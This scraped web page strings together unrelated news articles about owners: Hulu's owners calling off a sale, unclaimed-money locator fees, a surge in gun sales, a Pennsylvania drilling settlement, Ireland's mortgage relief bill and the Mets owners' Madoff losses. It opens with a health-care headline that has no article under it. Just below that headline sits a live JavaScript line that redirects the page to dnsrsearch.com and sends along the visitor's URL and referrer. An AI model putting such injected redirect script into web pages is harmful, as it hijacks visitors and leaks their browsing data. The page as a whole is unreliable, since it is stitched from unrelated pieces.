You're the Boss Blog: Business Owners Say They Have Yet to Figure Out Health Care

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Hulu Owners Call Off Sale, Instead Pledging to Invest to Take On Rivals

The three companies that mutually own Hulu — 21st Century Fox, the Walt Disney Company and NBCUniversal — said Friday that instead of selling the pioneering streaming video Web site, they would make a new investment of $750 million and use Hulu’s technology to compete against other online distributors like Netflix. The announcement represented an anticlimactic end to months of sale speculation and disappointed bidders like DirecTV, that were prepared to pay about $1 billion for the site.

The Web site’s owners concluded, according to a person with close ties to the negotiation process, that the “equity value in the long run outstrips the sale value.”

“The future of Hulu is bright, and if the future of Hulu is bright, then we should hold onto it,” Robert A. Iger, the chief executive of Disney, told reporters at the Allen & Company media and technology conference in Sun Valley, Idaho. Mr. Iger said that the decision had nothing to do with the bids for the video service, calling them “good, solid offers.”

Speculation about the fate of Hulu has hung over the conference, an annual gathering of top media and technology companies normally known for the deals that emerge from lunches and quiet meetings held at the mountain resort. Mr. Iger had been seen huddling with Chase Carey, the president of 21st Century Fox, during the conference.

Mr. Carey checked out of the resort shortly before the Hulu decision was made public. But the company’s chief executive, Rupert Murdoch, was still there, and he told reporters afterward that he was “very pleased.”

The decision to stick together was made, he said, after getting Hulu’s operators — meaning Fox and Disney — on “the same page.” Seemingly casting some blame in Disney’s direction, Mr. Murdoch added, “I was always on that page.”

The companies have clashed repeatedly over Hulu for years; meanwhile, the third owner, NBCUniversal, has been a silent partner since being acquired by Comcast in early 2011. (At that time the government barred Comcast from being involved in Hulu’s business affairs, for fear that it would try to impose restrictions on Hulu to protect its core cable business.)

Hulu’s board explored a sale once before, after receiving an unsolicited bid in mid-2011, but decided to call off that sale a few months later.

For 21st Century Fox and Disney, holding onto Hulu keeps them intimately involved in the future of streaming video, a field dominated by Netflix and Amazon. The companies had little to say on Friday about how their decision to keep the site will affect the site’s tens of millions of monthly users. Currently, Hulu has a free Web site, with streams of TV episodes supported by advertisements, and a subscriber-only part of the site, called Hulu Plus, with a greater number of episodes.

While the free site is not going anywhere anytime soon, the companies might further emphasize Hulu Plus, according to people at the companies who spoke on the condition of anonymity while discussing confidential conversations. Its owners have visibly started moving down that path by placing limits on the number of shows that are streamed free the day after they are shown on television.

What the companies are almost certain to do, these employees said, is seek to turn Hulu into an industrywide “TV Everywhere” service. “TV Everywhere,” the concept that cable and satellite subscribers should be able to stream shows and channels whenever and wherever they want, has been talked about for years as a way to retain subscribers — and counter the threat from Netflix — but programmers like Fox, and distributors like DirecTV, have struggled to make it a reality.

The owners believe Hulu could help by becoming a hub for “TV Everywhere,” perhaps by adopting a login system that verifies cable and satellite subscribers’ identities and then serves up programming for them. This would be bad news for households that use the site to avoid paying for cable, but potentially good news for the people who do pay, because it would provide broader on-demand access to the hundreds of television shows that are hard to find online now.

Hulu will also continue to increase the number of original shows that it commissions, in a strategy similar to that of Netflix, which has gained attention for expensive shows like “House of Cards.” Skepticism abounded on Friday about how competitive Hulu can really be, given Netflix and Amazon’s deep pockets. But much of the $750 million infusion of cash announced by Hulu’s owners on Friday will be spent on program acquisition and program development, according to people at the companies. The money will also be spent on marketing and technology.

Some participants at the Allen & Company conference this week questioned whether Disney and Fox ever truly intended to sell Hulu, and instead used the sales process to establish a value for the video service.

DirecTV, believed by some to have been the front-runner in the bidding this summer, declined to comment on the owners’ decision not to sell. So did Time Warner Cable, which had proposed that it become a minority owner of the site alongside the other owners. Bloomberg reported late Friday that the cable company remained in talks with the owners about acquiring a stake, and said that a deal could be reached by the end of July.

Michael J. de la Merced contributed reporting.

Wealth Matters: For a Fee, Seeking Owners of Unclaimed Money

His father had kept meticulous records, Mr. Sinclair said, and little had changed since his death several years earlier. Mr. Sinclair and his two siblings were also skeptical of the fee the company, Legal Claimant Services, a division of Keane, was seeking: 36 percent of the account’s value.

But this spring, Mr. Sinclair said, Keane told them the unclaimed money was $148,400 in stock. He and other family members decided they needed to account for everything so they could finally close their mother’s estate. At $1.5 million, it was small by federal standards but large enough to owe Ohio estate taxes. So on May 24, Mr. Sinclair, as the executor, signed a contract with Keane to get details on the unknown account for a 25 percent fee.

“Within a matter of days, I got a letter from them detailing what they had found, right down to the numbers on the stock certificates,” he said. “My stomach fell out of my body. I e-mailed them back and said, ‘This is stock we’ve always been aware of, and you didn’t find it.’ ”

The stock, for First Bancorporation of Ohio, which is now part of FirstMerit Bank, was in his mother’s safe deposit box, where it had been for years, he said. Nonetheless, Keane still expected its $37,100 fee.

Stephen Lochner, a representative for Keane, wrote in e-mails shown to The New York Times that the company had based its claim on the fact that $11,400 in dividend checks on the stock had never been cashed. “Please realize that knowledge of the asset or possession of shares doesn’t take away the fact the account is dormant, needs attention and subject to abandoned property laws of the state,” Mr. Lochner wrote.

“If you wish to retain the account, I can provide an updated set of documents for you to complete,” he added. “The revised documents will give you the option to retain most of this account and we can update the address and registration.”

When Mr. Sinclair balked at a fee being charged on the whole account — and not the dividend check, which he admits he did not know about — Mr. Lochner suggested Keane’s general counsel talk to Mr. Sinclair’s lawyer. The company contends the contract is clear about the basis for the fee. The two sides have been locked in a legal dispute, which only this week seemed headed toward a resolution.

It may strain credulity that a company could charge a fee for saying it found something in a person’s safe deposit box. But the amount of unclaimed property in the United States is rising and so, too, is the pressure on companies to find owners of dormant accounts. This has given rise to locator companies that look for account owners and often charge them a fee for informing them about an account.

The National Association of Unclaimed Property Administrators, the membership organization of state unclaimed property offices, estimated that $41.7 billion is sitting in state coffers, where it goes if it has been unclaimed after a period of years. But the amount of unclaimed property that has not reached that point is certainly higher. (In 2011, only $2.25 billion in 2.5 million claims went back to people.)

Common types of unclaimed money include paychecks, utility deposits and life insurance policies as well as bank, 401(k) and brokerage accounts.

Kristina Koutrakos, a managing director at Manchester Capital, which manages money for people with $10 million to $400 million in assets, said that when new clients came to the firm, 30 percent of the time, they had forgotten about some asset. A separate 30 percent of the time — albeit with some overlap — her company finds property that clients never knew they had.

“We’ve found all kinds of stuff, from a $15 stock certificate to 25 acres of land in North Carolina,” she said. “People lose 401(k)’s if they’ve moved around a lot. They forget about stock options or old country club investments.”

Manchester does not charge its clients an additional fee for the search, only a fee to manage money.

Gun Shop Owners Report Spike in Sales as Enthusiasts Fear Possible New Laws

At Bud’s Gun Shop in Maryland, a message on the Web site said that customer service was “completely overwhelmed” and it discouraged customers from calling or e-mailing.

And on GunBroker.com, an Oracle .223 that normally retails for around $650 had been bid up to $1,175 with three days left in the auction.

With gun-control legislation getting more serious discussion than it has in years, gun sales are spiking as enthusiasts stock up in advance of possible restrictions.

Gun sales have been increasing over the past five years, with marked increases around the 2008 and 2012 elections, and after mass shootings like the one in Aurora, Colo., and now in Newtown, Conn.

“The largest factor by far is fears over a potential change in gun laws — that’s what’s driving most guns enthusiasts or even first-time buyers to go buy a gun,” said Nima Samadi, senior guns and ammunition analyst for the research firm IBISWorld.

There is increasing demands for guns in the United States. Last year, the Federal Bureau of Investigation conducted 16.45 million background checks for firearm sales through the National Instant Criminal Background Check System, a 14 percent jump from the previous year. In the first 11 months of this year, the bureau conducted 16.8 million background checks, a record since the system’s founding in 1998.

Since the shootings at Sandy Hook Elementary School in Newtown, though, a few companies associated with gun sales have backed away. Cerberus Capital Management put the company that makes the Bushmaster, a gun used in the shootings, up for sale on Tuesday, saying, “The Sandy Hook tragedy was a watershed event that has raised the national debate on gun control to an unprecedented level.”

Dick’s Sporting Goods temporarily ceased selling all guns in its location closest to Newtown, and has also put a hold on sales of so-called modern sporting rifles, which include semiautomatic guns, nationwide.

And Deseret Digital Media, which owns KSL.com, a Web site that has been criticized by Mayor Michael R. Bloomberg for allowing unregulated gun sales, said it was suspending classified advertisements for guns.

Elsewhere, though, consumers are hurrying to buy guns, leading to some models being out of stock, warnings of shipping and customer-service delays, and significant premiums on assault rifles.

“We are seeing a total madhouse of buying everything in sight,” said Bob Irwin, owner of the Gun Store, a Las Vegas shooting range and retailer. Thursday, he said, was the largest sales day in the history of the store, which has been open for 30 years. “We have not only a run on the guns, but a run on ammunition.”

Mr. Irwin has begun limiting how much of some types of ammunition customers can buy, and he has canceled employees’ days off to handle the demand.

Walmart, the largest retailer of guns and ammunition in the United States, indicated that several semiautomatic guns were out of stock at locations across the country. Kory Lundberg, a spokesman, said the company was not sold out of guns altogether, but had low inventory in some situations. Walmart carries guns in about half its stores, and about one-third carry so-called modern sporting rifles, the category including the Bushmaster and other AR-15 weapons.

Other retailers around the country were selling out of guns and accessories. On Friday on ImpactGuns.com, the Bushmaster .223 was out of stock. Davidson’s, a supplier to gun retailers, placed a notice on its Web site that said it was seeing “unprecedented demand,” and at MidwayUSA.com, more than 100 parts for AR-15 guns were out of stock and on back order.

On AR15.com, a gun-enthusiast Web site, a user posted that a barrel for a gun disappeared from an online shopping cart overnight, and is now on back order. Another user, named warplg8654, responded, “Dealers can’t keep anything in stock for what I think are obvious reasons given the current political climate.”

When a user called JazzFan asked whether paying a $100 premium for a Stag Model 3 was a good deal, another user said that seemed “reasonable with all of the panic buying.”

Gavin Gear, the founder of the enthusiast site Northwest Gun, said gun owners were feeling “apprehension.”

“People are trying to think ahead, and if they want to own a particular firearm and they think it’s going to be outlawed or restricted, they’re more likely to buy now,” he said.

Marcellus driller settles with W. Pa. land owners

DARLINGTON, Pa. (AP) - A natural gas drilling company has settled federal lawsuits by western Pennsylvania landowners who contested the company's drilling leases and were, in turn, countersued by the company for permission to cut down trees sometimes inhabited by a protected bat species so the wells could be drilled.

DealBook: Ireland Mortgage Bill Aims to Aid Owners and Jump-Start Economy

DUBLIN — With its economy still reeling from the housing crash, Ireland is making a bold move to help tens of thousands of struggling homeowners.

The Irish government expects to pass a law this year that could encourage banks to substantially cut the amount that borrowers owe on their mortgages, a step that no major country has been willing to take on a broad scale.

The initiative, which would lower a borrower’s monthly payment, could prevent a tide of foreclosures, an uncertainty that has been hanging over the Irish housing market for years. If it works, the plan could provide a road map for other troubled countries.

Without the proposed law, Laura Crowley, a nurse who lives in a village 30 miles west of Dublin, figures she will lose her home. In 2007, Ms. Crowley and her husband bought a small home for the equivalent of $420,000. But they can no longer afford the $1,400 monthly payment. Her husband, a construction worker, is earning far less and her take-home pay has been cut by the country’s new austerity measures, which include new taxes. “This bill is the only light at the end of the tunnel for us,” she said.

Most countries that have suffered housing busts, including the United States, have made limited use of so-called mortgage write-downs, the process of forgiving a portion of the principal on the loan. The worry has been that some borrowers who can afford their mortgages will stop making payments to take advantage of a bailout. Banks have also been reluctant since they could face unexpected losses.

Ireland is different from the United States and most countries. During the financial crisis, Ireland bailed out the banks, and the government still has large ownership stakes in some of the biggest mortgage lenders. So taxpayers are already responsible for mortgage losses. In other countries, the burden of principal forgiveness would largely fall on privately owned banks.

But the debate is the same: whether to push lenders to take losses now, in hopes that things will get better faster, or wait for the housing market to heal on its own, which could cloud the economy for years to come.

Countries suffering from a housing hangover will most likely be watching Ireland closely to see how the law works. Spain, swamped with mortgage defaults, introduced a measure in March that allows for debt forgiveness, though under strict conditions.

In many ways, Ireland has to try something audacious. House prices are still 50 percent below their peak, compared with 30 percent in the United States. And more than half of Irish mortgages are underwater, meaning the house is worth less than the outstanding debt. While some of those borrowers can afford to keep making payments, more than a quarter of mortgage debt on first homes, roughly $39 billion, is in default or has been modified by lenders.

The housing market is now in a state of limbo as the government and the banks have made little effort to clean up the mortgage mess.

Unlike in the United States, Irish banks have foreclosed on very few borrowers. While Ireland’s leaders have considered it socially unacceptable for banks to seize large numbers of homes, they also feared the fiscal cost of foreclosures.

This approach creates doubt about the true level of bad mortgages at Irish banks. And borrowers, unsure of whether they will keep their homes, remain in a state of financial paralysis.

The new law aims to end this stalemate by overhauling Ireland’s consumer debt and bankruptcy laws.

While banks aren’t required to reduce the mortgage debt, the legislation gives them a powerful incentive to write down mortgages for troubled borrowers. Under the new rules, it will be less onerous to declare bankruptcy, making it easier for people to walk away from their homes altogether. As the threat rises, banks are more likely to reduce homeowners’ debt, rather than risk losing the monthly income and getting stuck with the property.

“For the banks, where there are losses, they have to be recognized,” said Alan Shatter, Ireland’s justice minister, who has sponsored the new law, called the Personal Insolvency Bill. “This legislation gives homeowners hope for their future.”

The legislation is intended, in part, to reach homeowners who are on the verge of running into trouble, as Geraldine Daly is.

A health care worker, Ms. Daly bought a home in 2009 in Belmayne, a new development in northern Dublin. Until last month, Ms. Daly said, she has been making her $1,200 payment. Then she fell behind after some unexpected expenses, including a car repair.

Ms. Daly estimates that her finances would become manageable if her monthly mortgage payments were cut to around $900. “Right now, I am a slave to this dog box.”

Critics contend the law could have unintended consequences.

One fear is that banks won’t have the money to absorb the potential losses on the mortgages. A big mystery is the level of defaults on so-called buy-to-let mortgages, loans that many Irish people took out to buy second homes to rent. In theory, the insolvency bill allows for write-offs on this type of mortgage, and analysts expect defaults on such loans to be higher than on first homes. Ireland’s central bank is expected to release the data soon.

To qualify, borrowers will have to prove that they are in a precarious financial position and cannot afford to pay. Analysts are concerned that the bill may actually be too restrictive and homeowners will continue to default. “There are so many layers that borrowers have to go through to get a write-down,” said Paul Joyce, senior policy researcher at Free Legal Advice Centers, a legal rights group that has supported moves to make Irish bankruptcy law more lenient. For instance, borrowers will most likely have to pay a big fee upfront to the person who handles their case.

John Chubb, a former construction worker who lives on a quiet cul-de-sac on the outskirts of Dublin, isn’t too worried about the process right now. He just wants to save his home.

Since having an operation for colon cancer in 2004, Mr. Chubb has lived primarily on government disability payments, and the bank has allowed him to pay only mortgage interest. But the lender is in the process of deciding whether to foreclose.

“I am expecting the word any day now,” he said. “I don’t know if I will be out on the front path before the bill passes.”

As Madoff Money Is Distributed, Mets Owners Wonder What Might Have Been

Under better circumstances, the owners of the Mets would have an extra $67.3 million in their bank accounts today, money that could help their losing team after another miserable season.

Keep up with the latest news on The Times's baseball blog.

But these are not ordinary times. Fred Wilpon and Saul Katz will not get that $67.3 million or another $94.7 million that they once had reason to expect stemming from losses in 50 of their nearly 500 accounts with Bernard L. Madoff. Those accounts were called “net losers.”

They agreed not to receive the money last March as part of the settlement of a federal case filed by the trustee for Madoff’s victims under which they agreed to repay $162 million in fictitious profits they had withdrawn from other accounts with Madoff between 2002 and 2008.

According to the trustee’s Web site, two distributions totaling $67.3 million were made Friday to the fund that will repay customers who were defrauded by Madoff. The trustee, Irving H. Picard, did not say how long it would take to recover the remaining $94.7 million.

The Mets’ owners, of course, could use the money themselves to rebuild the team. They are heavily in debt. They lost $70 million during the 2011 season. And while they reduced player payroll by about $50 million this season and raised $200 million from outside investors, Citi Field attendance fell again, pushing overall revenue down. Another loss is expected.

Wilpon and Katz might still get some compensation from their Madoff losses, which totaled $178 million. If Picard collects all $162 million, they would get $16 million. But if Picard does not collect all of it within three years, Wilpon and Katz could be liable for up to $29 million.

The trustee’s announcement about recoveries in the Wilpon-Katz case came a week after he said that nearly $2.5 billionwas distributed to eligible Madoff customers, bringing to $3.6 billion the total paid to customers with allowable fraud claims. At the time, David J. Sheehan, Picard’s chief counsel, said in a statement, “In addition to recovering as much stolen money as possible for Madoff’s victims, we are also moving aggressively to resolve litigation and appeals which are delaying further distributions.” Picard has recovered, or reached deals to recover, about $9.15 billion, or 53 percent of the estimated $17.3 billion principal lost in Madoff’s fraud.